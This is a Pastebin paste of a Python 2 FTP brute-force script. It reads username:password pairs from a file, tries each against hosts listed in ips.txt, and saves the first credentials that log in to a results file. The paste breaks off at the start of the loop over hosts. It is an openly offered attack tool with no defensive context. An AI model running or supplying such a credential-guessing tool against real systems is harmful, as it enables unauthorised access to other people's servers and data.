Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- # -*- coding: utf-8 -*-
- import ftplib, time
- def bruteLogin(hostname, passwdFile):
- pF = open(passwdFile, 'r')
- for line in pF.readlines():
- userName = line.split(':')[0]
- passWord = line.split(':')[1].strip('\r').strip('\n')
- print "[+] Trying: " + userName + "/" + passWord
- try:
- ftp = ftplib.FTP(hostname)
- ftp.login(userName, passWord)
- print '\n[*] ' + str(hostname) + \
- ' FTP Logon Succeeded: ' + userName + "/" + passWord
- ftp.quit()
- text_file = open("ftpresults.txt", "w")
- text_file.write('\n FTP Logon Succeeded:' + hostname + userName + "/" + passWord)
- text_file.close()
- return (userName, passWord)
- except Exception, e:
- print e
- pass
- print '\n[-] Could not brute force FTP credentials.'
- return (None, None)
- with open('ips.txt') as f:
- lines = f.readlines()
- passwdFile = 'pass.txt'
- f.close()
- for host in lines:
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement